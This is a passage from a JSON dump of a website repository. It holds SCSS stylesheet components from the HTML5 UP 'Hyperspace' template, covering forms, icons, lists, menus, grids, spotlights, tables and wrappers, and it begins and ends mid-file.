{\r\n\t\t\t\t\tborder-top-width: 0 !important;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t@include breakpoint('<=small') {\r\n\t\t\tsection {\r\n\t\t\t\t@include padding(2em, 1.5em, (0.5em, 0, 0, 4em));\r\n\r\n\t\t\t\t.icon {\r\n\t\t\t\t\tleft: 1.5em;\r\n\t\t\t\t\ttop: 2em;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t@include breakpoint('<=xsmall') {\r\n\t\t\tsection {\r\n\t\t\t\t@include padding(2em, 1.5em, (0, 0, 0, 0));\r\n\r\n\t\t\t\t.icon {\r\n\t\t\t\t\tleft: 0;\r\n\t\t\t\t\tposition: relative;\r\n\t\t\t\t\ttop: 0;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}"
  },
  {
    "path": "2020/assets/sass/components/_form.scss",
    "content": "///\r\n/// Hyperspace by HTML5 UP\r\n/// html5up.net | @ajlkn\r\n/// Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)\r\n///\r\n\r\n/* Form */\r\n\r\n\tform {\r\n\t\tmargin: 0 0 _size(element-margin) 0;\r\n\r\n\t\t> :last-child {\r\n\t\t\tmargin-bottom: 0;\r\n\t\t}\r\n\r\n\t\t> .fields {\r\n\t\t\t$gutter: (_size(element-margin) * 0.75);\r\n\r\n\t\t\t@include vendor('display', 'flex');\r\n\t\t\t@include vendor('flex-wrap', 'wrap');\r\n\t\t\twidth: calc(100% + #{$gutter * 2});\r\n\t\t\tmargin: ($gutter * -1) 0 _size(element-margin) ($gutter * -1);\r\n\r\n\t\t\t> .field {\r\n\t\t\t\t@include vendor('flex-grow', '0');\r\n\t\t\t\t@include vendor('flex-shrink', '0');\r\n\t\t\t\tpadding: $gutter 0 0 $gutter;\r\n\t\t\t\twidth: calc(100% - #{$gutter * 1});\r\n\r\n\t\t\t\t&.half {\r\n\t\t\t\t\twidth: calc(50% - #{$gutter * 0.5});\r\n\t\t\t\t}\r\n\r\n\t\t\t\t&.third {\r\n\t\t\t\t\twidth: calc(#{100% / 3} - #{$gutter * (1 / 3)});\r\n\t\t\t\t}\r\n\r\n\t\t\t\t&.quarter {\r\n\t\t\t\t\twidth: calc(25% - #{$gutter * 0.25});\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t@include breakpoint('<=xsmall') {\r\n\t\t\t> .fields {\r\n\t\t\t\t$gutter: (_size(element-margin) * 0.75);\r\n\r\n\t\t\t\twidth: calc(100% + #{$gutter * 2});\r\n\t\t\t\tmargin: ($gutter * -1) 0 _size(element-margin) ($gutter * -1);\r\n\r\n\t\t\t\t> .field {\r\n\t\t\t\t\tpadding: $gutter 0 0 $gutter;\r\n\t\t\t\t\twidth: calc(100% - #{$gutter * 1});\r\n\r\n\t\t\t\t\t&.half {\r\n\t\t\t\t\t\twidth: calc(100% - #{$gutter * 1});\r\n\t\t\t\t\t}\r\n\r\n\t\t\t\t\t&.third {\r\n\t\t\t\t\t\twidth: calc(100% - #{$gutter * 1});\r\n\t\t\t\t\t}\r\n\r\n\t\t\t\t\t&.quarter {\r\n\t\t\t\t\t\twidth: calc(100% - #{$gutter * 1});\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\r\n\tlabel {\r\n\t\tcolor: _palette(fg-bold);\r\n\t\tfont-weight: _font(weight-bold);\r\n\t\tline-height: 1.5;\r\n\t\tmargin: 0 0 (_size(element-margin) * 0.35) 0;\r\n\t\tdisplay: block;\r\n\t\tfont-size: 1.1em;\r\n\t}\r\n\r\n\tinput[type=\"text\"],\r\n\tinput[type=\"password\"],\r\n\tinput[type=\"email\"],\r\n\tinput[type=\"tel\"],\r\n\tselect,\r\n\ttextarea {\r\n\t\t@include vendor('appearance', 'none');\r\n\t\tbackground: _palette(border-bg);\r\n\t\tborder-radius: _size(border-radius);\r\n\t\tborder: none;\r\n\t\tborder: solid _size(border-width) _palette(border);\r\n\t\tcolor: inherit;\r\n\t\tdisplay: block;\r\n\t\toutline: 0;\r\n\t\tpadding: 0 1em;\r\n\t\ttext-decoration: none;\r\n\t\twidth: 100%;\r\n\r\n\t\t&:invalid {\r\n\t\t\tbox-shadow: none;\r\n\t\t}\r\n\r\n\t\t&:focus {\r\n\t\t\tborder-color: _palette(fg-bold);\r\n\t\t\tbox-shadow: 0 0 0 _size(border-width) _palette(fg-bold);\r\n\t\t}\r\n\t}\r\n\r\n\tselect {\r\n\t\tbackground-image: svg-url(\"<svg xmlns='http://www.w3.org/2000/svg' width='40' height='40' preserveAspectRatio='none' viewBox='0 0 40 40'><path d='M9.4,12.3l10.4,10.4l10.4-10.4c0.2-0.2,0.5-0.4,0.9-0.4c0.3,0,0.6,0.1,0.9,0.4l3.3,3.3c0.2,0.2,0.4,0.5,0.4,0.9 c0,0.4-0.1,0.6-0.4,0.9L20.7,31.9c-0.2,0.2-0.5,0.4-0.9,0.4c-0.3,0-0.6-0.1-0.9-0.4L4.3,17.3c-0.2-0.2-0.4-0.5-0.4-0.9 c0-0.4,0.1-0.6,0.4-0.9l3.3-3.3c0.2-0.2,0.5-0.4,0.9-0.4S9.1,12.1,9.4,12.3z' fill='#{_palette(border)}' /></svg>\");\r\n\t\tbackground-size: 1.25rem;\r\n\t\tbackground-repeat: no-repeat;\r\n\t\tbackground-position: calc(100% - 1rem) center;\r\n\t\theight: _size(element-height);\r\n\t\tpadding-right: _size(element-height);\r\n\t\ttext-overflow: ellipsis;\r\n\r\n\t\toption {\r\n\t\t\tcolor: _palette(fg-bold);\r\n\t\t\tbackground: _palette(bg);\r\n\t\t}\r\n\r\n\t\t&:focus {\r\n\t\t\t&::-ms-value {\r\n\t\t\t\tbackground-color: transparent;\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t&::-ms-expand {\r\n\t\t\tdisplay: none;\r\n\t\t}\r\n\t}\r\n\r\n\tinput[type=\"text\"],\r\n\tinput[type=\"password\"],\r\n\tinput[type=\"email\"],\r\n\tselect {\r\n\t\theight: _size(element-height);\r\n\t}\r\n\r\n\ttextarea {\r\n\t\tpadding: 0.75em 1em;\r\n\r\n\t\tbody.is-ie & {\r\n\t\t\tmin-height: 10em;\r\n\t\t}\r\n\t}\r\n\r\n\tinput[type=\"checkbox\"],\r\n\tinput[type=\"radio\"], {\r\n\t\t@include vendor('appearance', 'none');\r\n\t\tdisplay: block;\r\n\t\tfloat: left;\r\n\t\tmargin-right: -2em;\r\n\t\topacity: 0;\r\n\t\twidth: 1em;\r\n\t\tz-index: -1;\r\n\r\n\t\t& + label {\r\n\t\t\t@include icon(false, solid);\r\n\t\t\tcolor: _palette(fg);\r\n\t\t\tcursor: pointer;\r\n\t\t\tdisplay: inline-block;\r\n\t\t\tfont-size: 1em;\r\n\t\t\tfont-weight: _font(weight);\r\n\t\t\tpadding-left: (_size(element-height) * 0.6) + 0.75em;\r\n\t\t\tpadding-right: 0.75em;\r\n\t\t\tposition: relative;\r\n\r\n\t\t\t&:before {\r\n\t\t\t\tbackground: _palette(border-bg);\r\n\t\t\t\tborder-radius: _size(border-radius);\r\n\t\t\t\tborder: solid _size(border-width) _palette(border);\r\n\t\t\t\tcontent: '';\r\n\t\t\t\tdisplay: inline-block;\r\n\t\t\t\tfont-size: 0.8em;\r\n\t\t\t\theight: (_size(element-height) * 0.75);\r\n\t\t\t\tleft: 0;\r\n\t\t\t\tline-height: (_size(element-height) * 0.75);\r\n\t\t\t\tposition: absolute;\r\n\t\t\t\ttext-align: center;\r\n\t\t\t\ttop: 0;\r\n\t\t\t\twidth: (_size(element-height) * 0.75);\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t&:checked + label {\r\n\t\t\t&:before {\r\n\t\t\t\tbackground: _palette(fg-bold);\r\n\t\t\t\tborder-color: _palette(fg-bold);\r\n\t\t\t\tcolor: _palette(accent3);\r\n\t\t\t\tcontent: '\\f00c';\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t&:focus + label {\r\n\t\t\t&:before {\r\n\t\t\t\tborder-color: _palette(fg-bold);\r\n\t\t\t\tbox-shadow: 0 0 0 _size(border-width) _palette(fg-bold);\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\r\n\tinput[type=\"checkbox\"] {\r\n\t\t& + label {\r\n\t\t\t&:before {\r\n\t\t\t\tborder-radius: _size(border-radius);\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\r\n\tinput[type=\"radio\"] {\r\n\t\t& + label {\r\n\t\t\t&:before {\r\n\t\t\t\tborder-radius: 100%;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\r\n\t::-webkit-input-placeholder {\r\n\t\tcolor: _palette(fg-light) !important;\r\n\t\topacity: 1.0;\r\n\t}\r\n\r\n\t:-moz-placeholder {\r\n\t\tcolor: _palette(fg-light) !important;\r\n\t\topacity: 1.0;\r\n\t}\r\n\r\n\t::-moz-placeholder {\r\n\t\tcolor: _palette(fg-light) !important;\r\n\t\topacity: 1.0;\r\n\t}\r\n\r\n\t:-ms-input-placeholder {\r\n\t\tcolor: _palette(fg-light) !important;\r\n\t\topacity: 1.0;\r\n\t}"
  },
  {
    "path": "2020/assets/sass/components/_icon.scss",
    "content": "///\r\n/// Hyperspace by HTML5 UP\r\n/// html5up.net | @ajlkn\r\n/// Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)\r\n///\r\n\r\n/* Icon */\r\n\r\n\t.icon {\r\n\t\t@include icon;\r\n\t\tborder-bottom: none;\r\n\t\tposition: relative;\r\n\r\n\t\t> .label {\r\n\t\t\tdisplay: none;\r\n\t\t}\r\n\r\n\t\t&:before {\r\n\t\t\tline-height: inherit;\r\n\t\t}\r\n\r\n\t\t&.solid {\r\n\t\t\t&:before {\r\n\t\t\t\tfont-weight: 900;\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t&.brands {\r\n\t\t\t&:before {\r\n\t\t\t\tfont-family: 'Font Awesome 5 Brands';\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t&.major {\r\n\t\t\twidth: 2.5em;\r\n\t\t\theight: 2.5em;\r\n\t\t\tdisplay: block;\r\n\t\t\tbackground: _palette(fg-bold);\r\n\t\t\tborder-radius: 100%;\r\n\t\t\tcolor: _palette(bg);\r\n\t\t\ttext-align: center;\r\n\t\t\tline-height: 2.5em;\r\n\t\t\tmargin: 0 0 (_size(element-margin) * 0.65) 0;\r\n\r\n\t\t\t&:before {\r\n\t\t\t\tfont-size: 1.25em;\r\n\r\n\t\t\t\t.wrapper.style1 & {\r\n\t\t\t\t\tcolor: _palette(accent1);\r\n\t\t\t\t}\r\n\r\n\t\t\t\t.wrapper.style1-alt & {\r\n\t\t\t\t\tcolor: _palette(accent1-alt);\r\n\t\t\t\t}\r\n\r\n\t\t\t\t.wrapper.style2 & {\r\n\t\t\t\t\tcolor: _palette(accent2);\r\n\t\t\t\t}\r\n\r\n\t\t\t\t.wrapper.style2-alt & {\r\n\t\t\t\t\tcolor: _palette(accent2-alt);\r\n\t\t\t\t}\r\n\r\n\t\t\t\t.wrapper.style3 & {\r\n\t\t\t\t\tcolor: _palette(accent3);\r\n\t\t\t\t}\r\n\r\n\t\t\t\t.wrapper.style3-alt & {\r\n\t\t\t\t\tcolor: _palette(accent3-alt);\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}"
  },
  {
    "path": "2020/assets/sass/components/_icons.scss",
    "content": "///\n/// Hyperspace by HTML5 UP\n/// html5up.net | @ajlkn\n/// Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)\n///\n\n/* Icons */\n\n\tul.icons {\n\t\tcursor: default;\n\t\tlist-style: none;\n\t\tpadding-left: 0;\n\n\t\tli {\n\t\t\tdisplay: inline-block;\n\t\t\tpadding: 0 0.75em 0 0;\n\n\t\t\t&:last-child {\n\t\t\t\tpadding-right: 0;\n\t\t\t}\n\n\t\t\t> a, > span {\n\t\t\t\tborder: 0;\n\n\t\t\t\t.label {\n\t\t\t\t\tdisplay: none;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}"
  },
  {
    "path": "2020/assets/sass/components/_image.scss",
    "content": "///\r\n/// Hyperspace by HTML5 UP\r\n/// html5up.net | @ajlkn\r\n/// Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)\r\n///\r\n\r\n/* Image */\r\n\r\n\t.image {\r\n\t\tborder-radius: _size(border-radius);\r\n\t\tborder: 0;\r\n\t\tdisplay: inline-block;\r\n\t\tposition: relative;\r\n\r\n\t\timg {\r\n\t\t\tborder-radius: _size(border-radius);\r\n\t\t\tdisplay: block;\r\n\t\t}\r\n\r\n\t\t&.left,\r\n\t\t&.right {\r\n\t\t\tmax-width: 40%;\r\n\r\n\t\t\timg {\r\n\t\t\t\twidth: 100%;\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t&.left {\r\n\t\t\tfloat: left;\r\n\t\t\tmargin: 0 1.5em 1em 0;\r\n\t\t\ttop: 0.25em;\r\n\t\t}\r\n\r\n\t\t&.right {\r\n\t\t\tfloat: right;\r\n\t\t\tmargin: 0 0 1em 1.5em;\r\n\t\t\ttop: 0.25em;\r\n\t\t}\r\n\r\n\t\t&.fit {\r\n\t\t\tdisplay: block;\r\n\t\t\tmargin: 0 0 _size(element-margin) 0;\r\n\t\t\twidth: 100%;\r\n\r\n\t\t\timg {\r\n\t\t\t\twidth: 100%;\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t&.main {\r\n\t\t\tdisplay: block;\r\n\t\t\tmargin: 0 0 (_size(element-margin) * 1.5) 0;\r\n\t\t\twidth: 100%;\r\n\r\n\t\t\timg {\r\n\t\t\t\twidth: 100%;\r\n\t\t\t}\r\n\t\t}\r\n\t}"
  },
  {
    "path": "2020/assets/sass/components/_list.scss",
    "content": "///\r\n/// Hyperspace by HTML5 UP\r\n/// html5up.net | @ajlkn\r\n/// Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)\r\n///\r\n\r\n/* List */\r\n\r\n\tol {\r\n\t\tlist-style: decimal;\r\n\t\tmargin: 0 0 _size(element-margin) 0;\r\n\t\tpadding-left: 1.25em;\r\n\r\n\t\tli {\r\n\t\t\tpadding-left: 0.25em;\r\n\t\t}\r\n\t}\r\n\r\n\tul {\r\n\t\tlist-style: disc;\r\n\t\tmargin: 0 0 _size(element-margin) 0;\r\n\t\tpadding-left: 1em;\r\n\r\n\t\tli {\r\n\t\t\tpadding-left: 0.5em;\r\n\t\t}\r\n\r\n\t\t&.alt {\r\n\t\t\tlist-style: none;\r\n\t\t\tpadding-left: 0;\r\n\r\n\t\t\tli {\r\n\t\t\t\tborder-top: solid _size(border-width) _palette(border);\r\n\t\t\t\tpadding: 0.5em 0;\r\n\r\n\t\t\t\t&:first-child {\r\n\t\t\t\t\tborder-top: 0;\r\n\t\t\t\t\tpadding-top: 0;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\r\n\tdl {\r\n\t\tmargin: 0 0 _size(element-margin) 0;\r\n\r\n\t\tdt {\r\n\t\t\tdisplay: block;\r\n\t\t\tfont-weight: _font(weight-bold);\r\n\t\t\tmargin: 0 0 (_size(element-margin) * 0.5) 0;\r\n\t\t}\r\n\r\n\t\tdd {\r\n\t\t\tmargin-left: _size(element-margin);\r\n\t\t}\r\n\t}"
  },
  {
    "path": "2020/assets/sass/components/_menu.scss",
    "content": "///\n/// Hyperspace by HTML5 UP\n/// html5up.net | @ajlkn\n/// Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)\n///\n\n/* Menu */\n\n\tul.menu {\n\t\tlist-style: none;\n\t\tpadding: 0;\n\n\t\t> li {\n\t\t\tborder-left: solid 1px _palette(border);\n\t\t\tdisplay: inline-block;\n\t\t\tline-height: 1;\n\t\t\tmargin-left: 1.5em;\n\t\t\tpadding: 0 0 0 1.5em;\n\n\t\t\t&:first-child {\n\t\t\t\tborder-left: 0;\n\t\t\t\tmargin: 0;\n\t\t\t\tpadding-left: 0;\n\t\t\t}\n\t\t}\n\n\t\t@include breakpoint('<=xsmall') {\n\t\t\t> li {\n\t\t\t\tborder-left: 0;\n\t\t\t\tdisplay: block;\n\t\t\t\tline-height: inherit;\n\t\t\t\tmargin: 0.5em 0 0 0;\n\t\t\t\tpadding-left: 0;\n\t\t\t}\n\t\t}\n\t}"
  },
  {
    "path": "2020/assets/sass/components/_row.scss",
    "content": "///\r\n/// Hyperspace by HTML5 UP\r\n/// html5up.net | @ajlkn\r\n/// Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)\r\n///\r\n\r\n/* Row */\r\n\r\n\t.row {\r\n\t\t@include html-grid(1.5em);\r\n\r\n\t\t@include breakpoint('<=xlarge') {\r\n\t\t\t@include html-grid(1.5em, 'xlarge');\r\n\t\t}\r\n\r\n\t\t@include breakpoint('<=large') {\r\n\t\t\t@include html-grid(1.5em, 'large');\r\n\t\t}\r\n\r\n\t\t@include breakpoint('<=medium') {\r\n\t\t\t@include html-grid(1.5em, 'medium');\r\n\t\t}\r\n\r\n\t\t@include breakpoint('<=small') {\r\n\t\t\t@include html-grid(1.5em, 'small');\r\n\t\t}\r\n\r\n\t\t@include breakpoint('<=xsmall') {\r\n\t\t\t@include html-grid(1.5em, 'xsmall');\r\n\t\t}\r\n\t}"
  },
  {
    "path": "2020/assets/sass/components/_section.scss",
    "content": "///\r\n/// Hyperspace by HTML5 UP\r\n/// html5up.net | @ajlkn\r\n/// Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)\r\n///\r\n\r\n/* Section/Article */\r\n\r\n\tsection, article {\r\n\t\t&.special {\r\n\t\t\ttext-align: center;\r\n\t\t}\r\n\t}\r\n\r\n\theader {\r\n\t\tp {\r\n\t\t\tcolor: _palette(fg-light);\r\n\t\t\tposition: relative;\r\n\t\t\tmargin: 0 0 (_size(element-margin) * 0.75) 0;\r\n\t\t}\r\n\r\n\t\th2 + p {\r\n\t\t\tfont-size: 1.25em;\r\n\t\t\tmargin-top: (_size(element-margin) * -0.5);\r\n\t\t\tline-height: 1.5em;\r\n\t\t}\r\n\r\n\t\th3 + p {\r\n\t\t\tfont-size: 1.1em;\r\n\t\t\tmargin-top: (_size(element-margin) * -0.4);\r\n\t\t\tline-height: 1.5em;\r\n\t\t}\r\n\r\n\t\th4 + p,\r\n\t\th5 + p,\r\n\t\th6 + p {\r\n\t\t\tfont-size: 0.9em;\r\n\t\t\tmargin-top: (_size(element-margin) * -0.3);\r\n\t\t\tline-height: 1.5em;\r\n\t\t}\r\n\t}"
  },
  {
    "path": "2020/assets/sass/components/_split.scss",
    "content": "///\r\n/// Hyperspace by HTML5 UP\r\n/// html5up.net | @ajlkn\r\n/// Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)\r\n///\r\n\r\n/* Split */\r\n\r\n\t.split {\r\n\t\t@include vendor('display', 'flex');\r\n\r\n\t\t> * {\r\n\t\t\twidth: calc(50% - 2.5em);\r\n\t\t}\r\n\r\n\t\t> :nth-child(2n - 1) {\r\n\t\t\tpadding-right: 2.5em;\r\n\t\t\tborder-right: solid 1px _palette(border);\r\n\t\t}\r\n\r\n\t\t> :nth-child(2n) {\r\n\t\t\tpadding-left: 2.5em;\r\n\t\t}\r\n\r\n\t\t&.style1 {\r\n\t\t\t> :nth-child(2n - 1) {\r\n\t\t\t\twidth: calc(66.66666% - 2.5em);\r\n\t\t\t}\r\n\r\n\t\t\t> :nth-child(2n) {\r\n\t\t\t\twidth: calc(33.33333% - 2.5em);\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t@include breakpoint('<=xlarge') {\r\n\t\t\t> * {\r\n\t\t\t\twidth: calc(50% - 2em);\r\n\t\t\t}\r\n\r\n\t\t\t> :nth-child(2n - 1) {\r\n\t\t\t\tpadding-right: 2em;\r\n\t\t\t}\r\n\r\n\t\t\t> :nth-child(2n) {\r\n\t\t\t\tpadding-left: 2em;\r\n\t\t\t}\r\n\r\n\t\t\t&.style1 {\r\n\t\t\t\t> :nth-child(2n - 1) {\r\n\t\t\t\t\twidth: calc(66.66666% - 2em);\r\n\t\t\t\t}\r\n\r\n\t\t\t\t> :nth-child(2n) {\r\n\t\t\t\t\twidth: calc(33.33333% - 2em);\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t@include breakpoint('<=medium') {\r\n\t\t\tdisplay: block;\r\n\r\n\t\t\t> * {\r\n\t\t\t\tborder-top: solid 1px _palette(border);\r\n\t\t\t\tmargin: 4em 0 0 0;\r\n\t\t\t\tpadding: 4em 0 0 0;\r\n\t\t\t\twidth: 100% !important;\r\n\t\t\t}\r\n\r\n\t\t\t> :nth-child(2n - 1) {\r\n\t\t\t\tborder-right: 0;\r\n\t\t\t\tpadding-right: 0;\r\n\t\t\t}\r\n\r\n\t\t\t> :nth-child(2n) {\r\n\t\t\t\tpadding-left: 0;\r\n\t\t\t}\r\n\r\n\t\t\t> :first-child {\r\n\t\t\t\tborder-top: 0;\r\n\t\t\t\tmargin-top: 0;\r\n\t\t\t\tpadding-top: 0;\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t@include breakpoint('<=small') {\r\n\t\t\t> * {\r\n\t\t\t\tmargin: 3em 0 0 0;\r\n\t\t\t\tpadding: 3em 0 0 0;\r\n\t\t\t}\r\n\t\t}\r\n\t}"
  },
  {
    "path": "2020/assets/sass/components/_spotlights.scss",
    "content": "///\r\n/// Hyperspace by HTML5 UP\r\n/// html5up.net | @ajlkn\r\n/// Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)\r\n///\r\n\r\n/* Spotlights */\r\n\r\n\t.spotlights {\r\n\t\t> section {\r\n\t\t\t@include vendor('display', 'flex');\r\n\t\t\t@include vendor('flex-direction', 'row');\r\n\t\t\tmin-height: 22.5em;\r\n\r\n\t\t\tbody.is-ie & {\r\n\t\t\t\tmin-height: 0;\r\n\t\t\t}\r\n\r\n\t\t\t> .image {\r\n\t\t\t\tbackground-position: center center;\r\n\t\t\t\tbackground-size: cover;\r\n\t\t\t\tborder-radius: 0;\r\n\t\t\t\tdisplay: block;\r\n\t\t\t\tposition: relative;\r\n\t\t\t\twidth: 25em;\r\n\r\n\t\t\t\timg {\r\n\t\t\t\t\tborder-radius: 0;\r\n\t\t\t\t\tdisplay: block;\r\n\t\t\t\t}\r\n\r\n\t\t\t\t&:before {\r\n\t\t\t\t\t@include vendor('transition', 'opacity #{_duration(activation)} ease');\r\n\t\t\t\t\tbackground: transparentize(_palette(bg), 0.1);\r\n\t\t\t\t\tcontent: '';\r\n\t\t\t\t\tdisplay: block;\r\n\t\t\t\t\theight: 100%;\r\n\t\t\t\t\tleft: 0;\r\n\t\t\t\t\topacity: 0;\r\n\t\t\t\t\tposition: absolute;\r\n\t\t\t\t\ttop: 0;\r\n\t\t\t\t\twidth: 100%;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\r\n\t\t\t> .content {\r\n\t\t\t\t@include padding(4em, 5em);\r\n\t\t\t\t@include vendor('display', 'flex');\r\n\t\t\t\t@include vendor('flex-direction', 'column');\r\n\t\t\t\t@include vendor('justify-content', 'center');\r\n\t\t\t\twidth: #{_size(inner-width) - 25em};\r\n\t\t\t\t-ms-flex: 1;\r\n\r\n\t\t\t\t> .inner {\r\n\t\t\t\t\t@include vendor('transform', 'translateX(0) translateY(0)');\r\n\t\t\t\t\t@include vendor('transition', (\r\n\t\t\t\t\t\t'opacity #{_duration(activation)} ease',\r\n\t\t\t\t\t\t'transform #{_duration(activation)} ease'\r\n\t\t\t\t\t));\r\n\t\t\t\t\topacity: 1;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\r\n\t\t\t&:nth-child(1) {\r\n\t\t\t}\r\n\r\n\t\t\t&:nth-child(2) {\r\n\t\t\t\tbackground-color: rgba(0,0,0,0.05);\r\n\t\t\t}\r\n\r\n\t\t\t&:nth-child(3) {\r\n\t\t\t\tbackground-color: rgba(0,0,0,0.1);\r\n\t\t\t}\r\n\r\n\t\t\t&.inactive,\r\n\t\t\tbody.is-preload & {\r\n\t\t\t\t> .image {\r\n\t\t\t\t\t&:before {\r\n\t\t\t\t\t\topacity: 1;\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\r\n\t\t\t\t> .content {\r\n\t\t\t\t\t> .inner {\r\n\t\t\t\t\t\t@include vendor('transform', 'translateX(-1em)');\r\n\t\t\t\t\t\topacity: 0;\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\r\n\t\t\t@include breakpoint('<=xlarge') {\r\n\t\t\t\t> .content {\r\n\t\t\t\t\t@include padding(4em, 4em);\r\n\t\t\t\t}\r\n\t\t\t}\r\n\r\n\t\t\t@include breakpoint('<=medium') {\r\n\t\t\t\tdisplay: block;\r\n\r\n\t\t\t\t> .image {\r\n\t\t\t\t\twidth: 100%;\r\n\t\t\t\t\theight: 50vh;\r\n\t\t\t\t}\r\n\r\n\t\t\t\t> .content {\r\n\t\t\t\t\twidth: 100%;\r\n\t\t\t\t}\r\n\r\n\t\t\t\t&.inactive,\r\n\t\t\t\tbody.is-preload & {\r\n\t\t\t\t\t> .content {\r\n\t\t\t\t\t\t> .inner {\r\n\t\t\t\t\t\t\t@include vendor('transform', 'translateY(1em)');\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\r\n\t\t\t@include breakpoint('<=small') {\r\n\t\t\t\t> .image {\r\n\t\t\t\t\theight: 50vh;\r\n\t\t\t\t\tmin-height: 15em;\r\n\t\t\t\t}\r\n\r\n\t\t\t\t> .content {\r\n\t\t\t\t\t@include padding(3em, 2em);\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\r\n"
  },
  {
    "path": "2020/assets/sass/components/_table.scss",
    "content": "///\r\n/// Hyperspace by HTML5 UP\r\n/// html5up.net | @ajlkn\r\n/// Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)\r\n///\r\n\r\n/* Table */\r\n\r\n\t.table-wrapper {\r\n\t\t-webkit-overflow-scrolling: touch;\r\n\t\toverflow-x: auto;\r\n\t}\r\n\r\n\ttable {\r\n\t\tmargin: 0 0 _size(element-margin) 0;\r\n\t\twidth: 100%;\r\n\r\n\t\ttbody {\r\n\t\t\ttr {\r\n\t\t\t\tborder: solid _size(border-width) _palette(border);\r\n\t\t\t\tborder-left: 0;\r\n\t\t\t\tborder-right: 0;\r\n\r\n\t\t\t\t&:nth-child(2n + 1) {\r\n\t\t\t\t\tbackground-color: _palette(border-bg);\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\ttd {\r\n\t\t\tpadding: 0.75em 0.75em;\r\n\t\t}\r\n\r\n\t\tth {\r\n\t\t\tcolor: _palette(fg-bold);\r\n\t\t\tfont-size: 1em;\r\n\t\t\tfont-weight: _font(weight-bold);\r\n\t\t\tpadding: 0 0.75em 0.75em 0.75em;\r\n\t\t\ttext-align: left;\r\n\t\t}\r\n\r\n\t\tthead {\r\n\t\t\tborder-bottom: solid (_size(border-width) * 2) _palette(border);\r\n\t\t}\r\n\r\n\t\ttfoot {\r\n\t\t\tborder-top: solid (_size(border-width) * 2) _palette(border);\r\n\t\t}\r\n\r\n\t\t&.alt {\r\n\t\t\tborder-collapse: separate;\r\n\r\n\t\t\ttbody {\r\n\t\t\t\ttr {\r\n\t\t\t\t\ttd {\r\n\t\t\t\t\t\tborder: solid _size(border-width) _palette(border);\r\n\t\t\t\t\t\tborder-left-width: 0;\r\n\t\t\t\t\t\tborder-top-width: 0;\r\n\r\n\t\t\t\t\t\t&:first-child {\r\n\t\t\t\t\t\t\tborder-left-width: _size(border-width);\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\r\n\t\t\t\t\t&:first-child {\r\n\t\t\t\t\t\ttd {\r\n\t\t\t\t\t\t\tborder-top-width: _size(border-width);\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\r\n\t\t\tthead {\r\n\t\t\t\tborder-bottom: 0;\r\n\t\t\t}\r\n\r\n\t\t\ttfoot {\r\n\t\t\t\tborder-top: 0;\r\n\t\t\t}\r\n\t\t}\r\n\t}"
  },
  {
    "path": "2020/assets/sass/components/_wrapper.scss",
    "content": "///\n/// Hyperspace by HTML5 UP\n/// html5up.net | @ajlkn\n/// Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)\n///\n\n/* Wrapper */\n\n\t.wrapper {\n\t\tposition: relative;\n\n\t\t> .inner {\n\t\t\t@include padding(5em, 5em);\n\t\t\tmax-width: 100%;\n\t\t\twidth: _size(inner-width);\n\n\t\t\t@include breakpoint('<=xlarge') {\n\t\t\t\t@include padding(4em, 4em);\n\t\t\t}\n\n\t\t\t@include breakpoint('<=large') {\n\t\t\t\twidth: 100%;\n\t\t\t}\n\n\t\t\t@include breakpoint('<=small') {\n\t\t\t\t@include padding(3em, 2em);\n\t\t\t}\n\t\t}\n\n\t\t&.alt {\n\t\t\tbackground-color: _palette(bg-alt);\n\t\t}\n\n\t\t&.style1 {\n\t\t\tbackground-color: _palette(accent1);\n\t\t}\n\n\t\t&.style1-alt {\n\t\t\tbackground-color: _palette(accent1-alt);\n\t\t}\n\n\t\t&.style2 {\n\t\t\tbackground-color: _palette(accent2);\n\t\t}\n\n\t\t&.style2-alt {\n\t\t\tbackground-color: _palette(accent2-alt);\n\t\t}\n\n\t\t&.style3 {\n\t\t\tbackground-color: _palette(accent3);\n\t\t}\n\n\t\t&.style3-alt {\n\t\t\tbackground-color: 